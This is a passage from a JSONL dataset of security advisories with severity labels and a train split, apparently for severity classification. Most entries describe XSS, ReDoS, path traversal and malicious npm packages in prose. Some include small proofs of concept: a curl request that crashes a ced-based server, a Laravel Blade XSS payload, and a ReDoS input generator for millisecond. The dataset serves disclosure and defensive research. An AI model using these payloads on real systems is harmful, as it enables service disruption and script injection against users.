sent without `read` access to Events.\n* The Plugin Input Parameters for a SCM plugin would be sent without authorization for project `import`,`scm_import`,`export`, or `scm_export` actions.\n* Job Retry action could retry an execution without `read` or `view` access to the Execution, which would reveal the Execution's option values. (`run` access to the Job was still required).\n\n### Patches\nUpgrade to Rundeck version 3.2.6\n\n### Workarounds\nNone\n\n### References\n[3.2.6 Release Notes](https://docs.rundeck.com/docs/history/3_2_x/version-3.2.6.html)\n\n### Report\nIf you have any questions or comments about this advisory:\n* Email us at [security@rundeck.com](mailto:security@rundeck.com)\n\nTo report security issues to Rundeck please use the form at [http://rundeck.com/security](http://rundeck.com/security)\n\nReporter: Justine Osborne of Apple Information Security", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-04-29", "split": "train"}
-{"id": "c46e059ce0d3334f6de0", "text": "Out of bounds access in rgb\n\nAffected versions of rgb crate allow viewing and modifying data of any type T wrapped in RGB<T> as bytes, and do not correctly constrain RGB<T> and other wrapper structures to the types for which it is safe to do so.\n\nSafety violation possible for a type wrapped in RGB<T> and similar wrapper structures:\n\n* If T contains padding, viewing it as bytes may lead to exposure of contents of uninitialized memory.\n* If T contains a pointer, modifying it as bytes may lead to dereferencing of arbitrary pointers.\n* Any safety and/or validity invariants for T may be violated.\n\nThe issue was resolved by requiring all types wrapped in structures provided by RGB crate to implement an unsafe marker trait.", "text_raw": "Out of bounds access in rgb\n\n[Severity: CRITICAL]\n\nAffected versions of rgb crate allow viewing and modifying data of any type T wrapped in RGB<T> as bytes, and do not correctly constrain RGB<T> and other wrapper structures to the types for which it is safe to do so.\n\nSafety violation possible for a type wrapped in RGB<T> and similar wrapper structures:\n\n* If T contains padding, viewing it as bytes may lead to exposure of contents of uninitialized memory.\n* If T contains a pointer, modifying it as bytes may lead to dereferencing of arbitrary pointers.\n* Any safety and/or validity invariants for T may be violated.\n\nThe issue was resolved by requiring all types wrapped in structures provided by RGB crate to implement an unsafe marker trait.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-08-25", "split": "train"}
-{"id": "11737b4a3cd956cc6ffe", "text": "Improper Input Validation in is-email\n\nis-email helps validate an email address. A ReDoS (regular expression denial of service) flaw was found in the Segment is-email package before 1.0.1 for Node.js. An attacker that is able to provide crafted input to the isEmail(input) function may cause an application to consume an excessive amount of CPU.", "text_raw": "Improper Input Validation in is-email\n\n[Severity: HIGH]\n\nis-email helps validate an email address. A ReDoS (regular expression denial of service) flaw was found in the Segment is-email package before 1.0.1 for Node.js. An attacker that is able to provide crafted input to the isEmail(input) function may cause an application to consume an excessive amount of CPU.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "09be94bf0a31fa92600e", "text": "Improper Input Validation in multi_xml\n\nmulti_xml gem 0.5.2 for Ruby, as used in Grape before 0.2.6 and possibly other products, does not properly restrict casts of string values, which allows remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) involving nested XML entity references, by leveraging support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.", "text_raw": "Improper Input Validation in multi_xml\n\n[Severity: HIGH]\n\nmulti_xml gem 0.5.2 for Ruby, as used in Grape before 0.2.6 and possibly other products, does not properly restrict casts of string values, which allows remote attackers to conduct object-injection attacks and execute arbitrary code, or cause a denial of service (memory and CPU consumption) involving nested XML entity references, by leveraging support for (1) YAML type conversion or (2) Symbol type conversion, a similar vulnerability to CVE-2013-0156.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "400c2b8440c545faddaf", "text": "Malicious Package in 4equest\n\nAll versions of `4equest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "text_raw": "Malicious Package in 4equest\n\n[Severity: CRITICAL]\n\nAll versions of `4equest` typosquatted a popular package of similar name and tracked users who had installed the incorrect package. The package uploaded information to a remote server including: name of the downloaded package, name of the intended package, the Node version and whether the process was running as sudo. There is no further compromise.\n\n\n## Recommendation\n\nRemove the package from your dependencies and always ensure package names are typed correctly upon installation.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "09a572a413ac8d883ee2", "text": "Path Traversal in localhost-now\n\nAll versions of `localhost-now` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Path Traversal in localhost-now\n\n[Severity: HIGH]\n\nAll versions of `localhost-now` are vulnerable to Path Traversal. The package fails to sanitize URLs, allowing attackers to access server files outside of the served folder using relative paths.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2019-03-25", "split": "train"}
-{"id": "f4f6db3299edef55f5e9", "text": "Denial of service via deserialization attack in nifi\n\nA vulnerability found in Apache NIFI before 1.5.0-RC1. Attacker can perform XXE attacks through JAXB.", "text_raw": "Denial of service via deserialization attack in nifi\n\n[Severity: MEDIUM]\n\nA vulnerability found in Apache NIFI before 1.5.0-RC1. Attacker can perform XXE attacks through JAXB.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-10-25", "split": "train"}
-{"id": "8c1ef31b75800f6c575d", "text": "Improper Handling of Unexpected Data Type in ced\n\n### Impact\n\nIn ced v0.1.0, passing data types other than `Buffer` causes the Node.js process to crash.\n\n### Patches\n\nThe problem has been patched in [ced v1.0.0](https://github.com/sonicdoe/ced/releases/tag/v1.0.0). You can upgrade from v0.1.0 without any breaking changes.\n\n### Workarounds\n\nBefore passing an argument to ced, verify it’s a `Buffer` using [`Buffer.isBuffer(obj)`](https://nodejs.org/api/buffer.html#buffer_static_method_buffer_isbuffer_obj).\n\n### CVSS score\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\nconst ced = require(\"ced\");\n\nconst app = express();\n\napp.use(bodyParser.raw());\n\napp.post(\"/\", (req, res) => {\n  const encoding = ced(req.body);\n\nres.end(encoding);\n});\n\napp.listen(3000);\n```\n\n`curl --request POST --header \"Content-Type: text/plain\" --data foo http://localhost:3000` crashes the server.\n\n### References\n\n- https://github.com/sonicdoe/ced/commit/a4d9f10b6bf1cd468d1a5b9a283cdf437f8bb7b3", "text_raw": "Improper Handling of Unexpected Data Type in ced\n\n[Severity: HIGH]\n\n### Impact\n\nIn ced v0.1.0, passing data types other than `Buffer` causes the Node.js process to crash.\n\n### Patches\n\nThe problem has been patched in [ced v1.0.0](https://github.com/sonicdoe/ced/releases/tag/v1.0.0). You can upgrade from v0.1.0 without any breaking changes.\n\n### Workarounds\n\nBefore passing an argument to ced, verify it’s a `Buffer` using [`Buffer.isBuffer(obj)`](https://nodejs.org/api/buffer.html#buffer_static_method_buffer_isbuffer_obj).\n\n### CVSS score\n\n[CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C](https://www.first.org/cvss/calculator/3.1#CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/RL:O/RC:C)\n\nBase Score: 7.5 (High)\nTemporal Score: 7.2 (High)\n\nSince ced is a library, the scoring is based on the “[reasonable worst-case implementation scenario](https://www.first.org/cvss/v3.1/user-guide#3-7-Scoring-Vulnerabilities-in-Software-Libraries-and-Similar)”, namely, accepting data from untrusted sources over a network and passing it directly to ced. Depending on your specific implementation, the vulnerability’s severity in your program may be different.\n\n### Proof of concept\n\n```js\nconst express = require(\"express\");\nconst bodyParser = require(\"body-parser\");\nconst ced = require(\"ced\");\n\nconst app = express();\n\napp.use(bodyParser.raw());\n\napp.post(\"/\", (req, res) => {\n  const encoding = ced(req.body);\n\n  res.end(encoding);\n});\n\napp.listen(3000);\n```\n\n`curl --request POST --header \"Content-Type: text/plain\" --data foo http://localhost:3000` crashes the server.\n\n### References\n\n- https://github.com/sonicdoe/ced/commit/a4d9f10b6bf1cd468d1a5b9a283cdf437f8bb7b3", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-08-23", "split": "train"}
-{"id": "873984495cfdbd17e05c", "text": "OS Command Injection in wifiscanner\n\nwifiscanner.js in thingsSDK WiFi Scanner 1.0.1 allows Code Injection because it can be used with options to overwrite the default executable/binary path and its arguments. An attacker can abuse this functionality to execute arbitrary code.", "text_raw": "OS Command Injection in wifiscanner\n\n[Severity: CRITICAL]\n\nwifiscanner.js in thingsSDK WiFi Scanner 1.0.1 allows Code Injection because it can be used with options to overwrite the default executable/binary path and its arguments. An attacker can abuse this functionality to execute arbitrary code.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-05-17", "split": "train"}
-{"id": "8c9e7e97d2182bc64b09", "text": "Laravel Framework XSS in Blade templating engine\n\nA security researcher has disclosed a possible XSS vulnerability in the Blade templating engine.\n\nGiven the following two Blade templates:\n\nresources/views/parent.blade.php:\n\n```html\n@section('content')\n<input value=\"{{ $value }}\">\n@show\n```\n\nresources/views/child.blade.php:\n\n```html\n@extends('parent')\n\n@section('content')\n<input value=\"{{ $value }}\">\n@endsection\n```\n\nAnd a route like the following:\n\n```php\nRoute::get('/example', function() {\n    $value = '//localhost/###parent-placeholder-040f06fd774092478d450774f5ba30c5da78acc8## onclick=location.assign(this.value);//';\n\nreturn view('child', ['value' => $value]);\n});\n```\n\nThe broken HTML element may be clicked and the user is taken to another location in their browser due to XSS. This is due to the user being able to guess the parent placeholder SHA-1 hash by trying common names of sections. If the parent template contains an exploitable HTML structure an XSS vulnerability can be exposed.\n\nThis vulnerability has been patched by determining the parent placeholder at runtime and using a random hash that is unique to each request.", "text_raw": "Laravel Framework XSS in Blade templating engine\n\n[Severity: MEDIUM]\n\nA security researcher has disclosed a possible XSS vulnerability in the Blade templating engine.\n\nGiven the following two Blade templates:\n\nresources/views/parent.blade.php:\n\n```html\n@section('content')\n<input value=\"{{ $value }}\">\n@show\n```\n\nresources/views/child.blade.php:\n\n```html\n@extends('parent')\n\n@section('content')\n<input value=\"{{ $value }}\">\n@endsection\n```\n\nAnd a route like the following:\n\n```php\nRoute::get('/example', function() {\n    $value = '//localhost/###parent-placeholder-040f06fd774092478d450774f5ba30c5da78acc8## onclick=location.assign(this.value);//';\n\n    return view('child', ['value' => $value]);\n});\n```\n\nThe broken HTML element may be clicked and the user is taken to another location in their browser due to XSS. This is due to the user being able to guess the parent placeholder SHA-1 hash by trying common names of sections. If the parent template contains an exploitable HTML structure an XSS vulnerability can be exposed.\n\nThis vulnerability has been patched by determining the parent placeholder at runtime and using a random hash that is unique to each request.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-08", "split": "train"}
-{"id": "7ec7e7e48f69271f23e5", "text": "Malicious Package in axois\n\nAll versions of `axois` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "text_raw": "Malicious Package in axois\n\n[Severity: CRITICAL]\n\nAll versions of `axois` are considered malicious. The package is malware designed to take advantage of users making a mistake when typing the name of a module to install. When executed, the package calls home to a Command and Control server to execute arbitrary commands.\n\n\n## Recommendation\n\nThis package was published to the npm Registry for a very short period of time. If you happen to find it in your environment you should revoke and rotate all credentials  found on the compromised machine, as well as completely erase the affected machine and reinstall your Operating System.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-01", "split": "train"}
-{"id": "f15163516de44bb7179e", "text": "Cross-Site Scripting in dojo\n\nVersions of `dojo` prior to 1.4.2 are vulnerable to DOM-based Cross-Site Scripting (XSS). The package does not sanitize URL parameters in the `_testCommon.js` and `runner.html` test files, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n## Recommendation\n\nUpgrade to version 1.4.2 or later.", "text_raw": "Cross-Site Scripting in dojo\n\n[Severity: MEDIUM]\n\nVersions of `dojo` prior to 1.4.2 are vulnerable to DOM-based Cross-Site Scripting (XSS). The package does not sanitize URL parameters in the `_testCommon.js` and `runner.html` test files, allowing attackers to execute arbitrary JavaScript in the victim's browser.\n\n\n## Recommendation\n\nUpgrade to version 1.4.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-09-11", "split": "train"}
-{"id": "534df857af882f7176ec", "text": "Command Injection in git-dummy-commit\n\nA command injection in git-dummy-commit v1.3.0 allows os level commands to be executed due to an unescaped parameter.", "text_raw": "Command Injection in git-dummy-commit\n\n[Severity: CRITICAL]\n\nA command injection in git-dummy-commit v1.3.0 allows os level commands to be executed due to an unescaped parameter.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "275c45bbda25c9e6e36d", "text": "Withdrawn, accidental duplicate publish.\n\nDirectory traversal vulnerability in the minitar before 0.6 and archive-tar-minitar 0.5.2 gems for Ruby allows remote attackers to write to arbitrary files via a .. (dot dot) in a TAR archive entry.", "text_raw": "Moderate severity vulnerability that affects archive-tar-minitar and minitar\n\n[Severity: MEDIUM]\n\nWithdrawn, accidental duplicate publish.\r\n\r\nDirectory traversal vulnerability in the minitar before 0.6 and archive-tar-minitar 0.5.2 gems for Ruby allows remote attackers to write to arbitrary files via a .. (dot dot) in a TAR archive entry.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2018-08-21", "split": "train"}
-{"id": "9074e48537f142959775", "text": "Cross-Site Scripting in eco\n\nAll versions of  `eco` are vulnerable to Cross-Site Scripting (XSS). The package's default `__escape` implementation fails to escape single quotes, which may allow attackers to execute arbitrary JavaScript on the victim's browser.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "text_raw": "Cross-Site Scripting in eco\n\n[Severity: HIGH]\n\nAll versions of  `eco` are vulnerable to Cross-Site Scripting (XSS). The package's default `__escape` implementation fails to escape single quotes, which may allow attackers to execute arbitrary JavaScript on the victim's browser.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative package until a fix is made available.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "295eb3eb9f811e5d43f7", "text": "Cross-site Scripting in October\n\n### Impact\nPasting content copied from malicious websites into the Froala richeditor could result in a successful self-XSS attack.\n\n### Patches\nIssue has been patched in Build 467 (v1.0.467).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/b384954a29b89117e1c0d6035b3ede4f46df67c5 to your installation manually if unable to upgrade to Build 467.\n\n### References\n- https://research.securitum.com/the-curious-case-of-copy-paste/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat Assessment\nAssessed as Low given that by the nature of the attack it can only impact users that do it to themselves by copying and pasting from malicious websites.\n\n### Acknowledgements\n\nThanks to [Michał Bentkowski of Securitum](https://research.securitum.com/authors/michal-bentkowski/) for finding the original issue in Froala and @tomaszstrojny for reporting the issue to the October CMS team.", "text_raw": "Cross-site Scripting in October\n\n[Severity: LOW]\n\n### Impact\nPasting content copied from malicious websites into the Froala richeditor could result in a successful self-XSS attack.\n\n### Patches\nIssue has been patched in Build 467 (v1.0.467).\n\n### Workarounds\nApply https://github.com/octobercms/october/commit/b384954a29b89117e1c0d6035b3ede4f46df67c5 to your installation manually if unable to upgrade to Build 467.\n\n### References\n- https://research.securitum.com/the-curious-case-of-copy-paste/\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Email us at [hello@octobercms.com](mailto:hello@octobercms.com)\n\n### Threat Assessment\nAssessed as Low given that by the nature of the attack it can only impact users that do it to themselves by copying and pasting from malicious websites.\n\n### Acknowledgements\n\nThanks to [Michał Bentkowski of Securitum](https://research.securitum.com/authors/michal-bentkowski/) for finding the original issue in Froala and @tomaszstrojny for reporting the issue to the October CMS team.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-07-02", "split": "train"}
-{"id": "6a2283222379c9165701", "text": "Privilege Defined With Unsafe Actions in Keycloak\n\nA flaw was found in the Keycloak admin console, where the realm management interface permits a script to be set via the policy. This flaw allows an attacker with authenticated user and realm management permissions to configure a malicious script to trigger and execute arbitrary code with the permissions of the application user.", "text_raw": "Privilege Defined With Unsafe Actions in Keycloak\n\n[Severity: HIGH]\n\nA flaw was found in the Keycloak admin console, where the realm management interface permits a script to be set via the policy. This flaw allows an attacker with authenticated user and realm management permissions to configure a malicious script to trigger and execute arbitrary code with the permissions of the application user.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-21", "split": "train"}
-{"id": "a2ce315c7f6fe365b209", "text": "Remote Code Execution in scratch-vm\n\nMIT Lifelong Kindergarten Scratch scratch-vm before `0.2.0-prerelease.20200714185213` loads extension URLs from untrusted project.json files with certain `_` characters, resulting in remote code execution because the URL's content is treated as a script and is executed as a worker. The responsible code is `getExtensionIdForOpcode` in serialization/sb3.js. The use of `_` is incompatible with a protection mechanism in older versions, in which URLs were split and consequently deserialization attacks were prevented.\n\n**NOTE**: the scratch.mit.edu hosted service is not affected because of the lack of worker scripts.", "text_raw": "Remote Code Execution in scratch-vm\n\n[Severity: CRITICAL]\n\nMIT Lifelong Kindergarten Scratch scratch-vm before `0.2.0-prerelease.20200714185213` loads extension URLs from untrusted project.json files with certain `_` characters, resulting in remote code execution because the URL's content is treated as a script and is executed as a worker. The responsible code is `getExtensionIdForOpcode` in serialization/sb3.js. The use of `_` is incompatible with a protection mechanism in older versions, in which URLs were split and consequently deserialization attacks were prevented. \n\n**NOTE**: the scratch.mit.edu hosted service is not affected because of the lack of worker scripts.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-07-27", "split": "train"}
-{"id": "1e878866de6f75b33429", "text": "u5CMS 3.9.3 Multiple Open Redirect Vulnerabilities", "text_raw": "u5CMS 3.9.3 Multiple Open Redirect Vulnerabilities\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2015-02-09", "split": "train"}
-{"id": "33773c33989943ed90d3", "text": "Sylius PayPal Plugin allows unauthorized access to Credit card form, exposing payer name and not requiring 3DS\n\n### Impact\nURL to the payment page done after checkout was created with autoincremented payment id (`/pay-with-paypal/{id}`) and therefore it was easy to access for anyone, not even the order's customer. The problem was, the Credit card form has prefilled \"credit card holder\" field with the Customer's first and last name.\nAdditionally, the mentioned form did not require a 3D Secure authentication, as well as did not checked the result of the 3D Secure authentication.\n\n### Patches\nThe problem has been patched in Sylius/PayPalPlugin **1.2.4** and **1.3.1**\n\n### Workarounds\nOne can override a `sylius_paypal_plugin_pay_with_paypal_form` route and change its URL parameters to (for example) `{orderToken}/{paymentId}`, then override the `Sylius\\PayPalPlugin\\Controller\\PayWithPayPalFormAction` service, to operate on the payment taken from the repository by these 2 values. It would also require usage of custom repository method.\nAdditionally, one could override the `@SyliusPayPalPlugin/payWithPaypal.html.twig` template, to add `contingencies: ['SCA_ALWAYS']` line in `hostedFields.submit(...)` function call (line 421). It would then have to be handled in the function callback.\n\n### For more information\nIf you have any questions or comments about this advisory:\n- Open an issue in Sylius/PayPalPlugin issues\n- Email us at security at sylius dot com", "text_raw": "Sylius PayPal Plugin allows unauthorized access to Credit card form, exposing payer name and not requiring 3DS\n\n[Severity: HIGH]\n\n### Impact\nURL to the payment page done after checkout was created with autoincremented payment id (`/pay-with-paypal/{id}`) and therefore it was easy to access for anyone, not even the order's customer. The problem was, the Credit card form has prefilled \"credit card holder\" field with the Customer's first and last name.\nAdditionally, the mentioned form did not require a 3D Secure authentication, as well as did not checked the result of the 3D Secure authentication.\n\n### Patches\nThe problem has been patched in Sylius/PayPalPlugin **1.2.4** and **1.3.1**\n\n### Workarounds\nOne can override a `sylius_paypal_plugin_pay_with_paypal_form` route and change its URL parameters to (for example) `{orderToken}/{paymentId}`, then override the `Sylius\\PayPalPlugin\\Controller\\PayWithPayPalFormAction` service, to operate on the payment taken from the repository by these 2 values. It would also require usage of custom repository method.\nAdditionally, one could override the `@SyliusPayPalPlugin/payWithPaypal.html.twig` template, to add `contingencies: ['SCA_ALWAYS']` line in `hostedFields.submit(...)` function call (line 421). It would then have to be handled in the function callback.\n\n### For more information\nIf you have any questions or comments about this advisory:\n- Open an issue in Sylius/PayPalPlugin issues\n- Email us at security at sylius dot com\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-06", "split": "train"}
-{"id": "1e3d47bcb74f849717c6", "text": "Reflected Cross-site Scripting in ACS Commons\n\n### Impact\n\nACS Commons version 4.9.2 (and earlier) suffers from a Reflected Cross-site Scripting (XSS) vulnerability in version-compare and page-compare due to invalid JCR characters that are not handled correctly.\n\nAn attacker could potentially exploit this vulnerability to inject malicious JavaScript content into vulnerable form fields and execute it within the context of the victim's browser. Exploitation of this issue requires user interaction in order to be successful.\n\n### Patches\n\nThis issue has been resolved in v4.10.0\n\n### Workarounds\n\nNo workaround exist.\n\n### References\n\nN/A\n\n### For more information\n\nIf you have any questions or comments about this advisory open an issue in acs-aem-commons.\n\n### Credit\n\nThis issue was discovered and reported by Christopher Whipp (Christopher.Whipp@servicesaustralia.gov.au).", "text_raw": "Reflected Cross-site Scripting in ACS Commons\n\n[Severity: HIGH]\n\n### Impact\n\nACS Commons version 4.9.2 (and earlier) suffers from a Reflected Cross-site Scripting (XSS) vulnerability in version-compare and page-compare due to invalid JCR characters that are not handled correctly.\n\nAn attacker could potentially exploit this vulnerability to inject malicious JavaScript content into vulnerable form fields and execute it within the context of the victim's browser. Exploitation of this issue requires user interaction in order to be successful.\n\n### Patches\n\nThis issue has been resolved in v4.10.0\n\n### Workarounds\n\nNo workaround exist.\n\n### References\n\nN/A\n\n### For more information\n\nIf you have any questions or comments about this advisory open an issue in acs-aem-commons.\n\n### Credit\n\nThis issue was discovered and reported by Christopher Whipp (Christopher.Whipp@servicesaustralia.gov.au).", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-02-02", "split": "train"}
-{"id": "c4e97e4b106d4f287cb3", "text": "Joomla Incapsula Component <= 1.4.6_b Reflected Cross-Site Scripting Vulnerability", "text_raw": "Joomla Incapsula Component <= 1.4.6_b Reflected Cross-Site Scripting Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2013-01-08", "split": "train"}
-{"id": "829d489f5e1a0f9d8ea7", "text": "Cross-Site Scripting in express-cart\n\nAll versions of `harp` are vulnerable to Cross-Site Scripting. In the admin page it is possible to inject arbitrary JavaScript as a new product option, allowing attackers to execute arbitrary code. This is limited to the admin page and does not affect other pages.\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.", "text_raw": "Cross-Site Scripting in express-cart\n\n[Severity: LOW]\n\nAll versions of `harp` are vulnerable to Cross-Site Scripting. In the admin page it is possible to inject arbitrary JavaScript as a new product option, allowing attackers to execute arbitrary code. This is limited to the admin page and does not affect other pages.\n\n\n## Recommendation\n\nNo fix is currently available. Consider using an alternative module until a fix is made available.\n", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2020-09-02", "split": "train"}
-{"id": "8314ee462ebbfc044e2b", "text": "RandomAlphaNumeric and CryptoRandomAlphaNumeric are not as random as they should be\n\n### Impact\n\nA security-sensitive bug was discovered by Open Source Developer *Erik Sundell of Sundell Open Source Consulting AB*.\n\nThe functions `RandomAlphaNumeric(int)` and `CryptoRandomAlphaNumeric(int)` are not as random as they should be. Small values of `int` in the functions above will return a smaller subset of results than they should. For example, `RandomAlphaNumeric(1)` will always return a digit in the 0-9 range, while `RandomAlphaNumeric(4)` will return around ~7 million of the ~13M possible permutations.\n\nThis is considered a security release because programs that rely upon random generators for passwords are at an increased risk of brute force-style password guessing. There is also a higher probability of collision.\n\nThe problem was the result of a mistaken regular expression that only accepted random strings if they contained a digit from `[0-9]`. That restriction has been removed.\n\n### Patches\n\nThis issue has been corrected in v1.1.1.\n\n### Workarounds\n\nIf you cannot upgrade to v1.1.1, you can work around the issue by calling `RandomAlphaNumericCustom(N, true, true)`|`CryptoRandomAlphaNumericCustom(N, true, true)`  instead. (Where `N` is the desired length, and `true` is the literal boolean `true`.)", "text_raw": "RandomAlphaNumeric and CryptoRandomAlphaNumeric are not as random as they should be\n\n[Severity: LOW]\n\n### Impact\n\nA security-sensitive bug was discovered by Open Source Developer *Erik Sundell of Sundell Open Source Consulting AB*.\n\nThe functions `RandomAlphaNumeric(int)` and `CryptoRandomAlphaNumeric(int)` are not as random as they should be. Small values of `int` in the functions above will return a smaller subset of results than they should. For example, `RandomAlphaNumeric(1)` will always return a digit in the 0-9 range, while `RandomAlphaNumeric(4)` will return around ~7 million of the ~13M possible permutations.\n\nThis is considered a security release because programs that rely upon random generators for passwords are at an increased risk of brute force-style password guessing. There is also a higher probability of collision.\n\nThe problem was the result of a mistaken regular expression that only accepted random strings if they contained a digit from `[0-9]`. That restriction has been removed.\n\n### Patches\n\nThis issue has been corrected in v1.1.1.\n\n### Workarounds\n\nIf you cannot upgrade to v1.1.1, you can work around the issue by calling `RandomAlphaNumericCustom(N, true, true)`|`CryptoRandomAlphaNumericCustom(N, true, true)`  instead. (Where `N` is the desired length, and `true` is the literal boolean `true`.)", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "b4bbae48263a1a407f4e", "text": "Arbitrary File Read in Snyk Broker\n\nAll versions of snyk-broker before 4.72.2 are vulnerable to Arbitrary File Read. It allows arbitrary file reads for users who have access to Snyk's internal network by appending the URL with a fragment identifier and a whitelisted path e.g. `#package.json`", "text_raw": "Arbitrary File Read in Snyk Broker\n\n[Severity: MEDIUM]\n\nAll versions of snyk-broker before 4.72.2 are vulnerable to Arbitrary File Read. It allows arbitrary file reads for users who have access to Snyk's internal network by appending the URL with a fragment identifier and a whitelisted path e.g. `#package.json`", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2020-06-03", "split": "train"}
-{"id": "6b034d7bb24ab298807b", "text": "Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability\n\nAffected: Cisco IOS and IOS XE\n\nCisco IOS and IOS XE Software improperly validates packet data, allowing an unauthenticated, remote attacker to trigger a reload of an affected device, cause a denial-of-service (DoS) condition, or perform code execution on the affected device.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Cisco IOS and IOS XE Software Smart Install Remote Code Execution Vulnerability\n\nAffected: Cisco IOS and IOS XE\n\nCisco IOS and IOS XE Software improperly validates packet data, allowing an unauthenticated, remote attacker to trigger a reload of an affected device, cause a denial-of-service (DoS) condition, or perform code execution on the affected device.\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "48d1310284a30e01de4e", "text": "Regular Expression Denial of Service in millisecond\n\nVersions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i<=len; i++) {\n       result = result + chr;\n   }\n\nreturn result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.", "text_raw": "Regular Expression Denial of Service in millisecond\n\n[Severity: MEDIUM]\n\nVersions of `millisecond` prior to 0.1.2 are affected by a regular expression denial of service vulnerability when extremely long version strings are parsed.\n\n\n## Proof of concept\n```\nvar ms = require('millisecond');\nvar genstr = function (len, chr) {\n   var result = \"\";\n   for (i=0; i<=len; i++) {\n       result = result + chr;\n   }\n\n   return result;\n}\n\nms(genstr(process.argv[2], \"5\") + \" minutea\");\n```\n\n\n## Recommendation\n\nUpdate to version 0.1.2 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-09-22", "split": "train"}
-{"id": "17c1e00bd73635fd2b4c", "text": "Incorrect permission enforcement in UmbracoCms\n\nEditors/LogViewerController.cs in Umbraco through 8.9.1 allows a user to visit a logviewer endpoint even if they lack Applications.Settings access.", "text_raw": "Incorrect permission enforcement in UmbracoCms\n\n[Severity: MEDIUM]\n\nEditors/LogViewerController.cs in Umbraco through 8.9.1 allows a user to visit a logviewer endpoint even if they lack Applications.Settings access.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-13", "split": "train"}
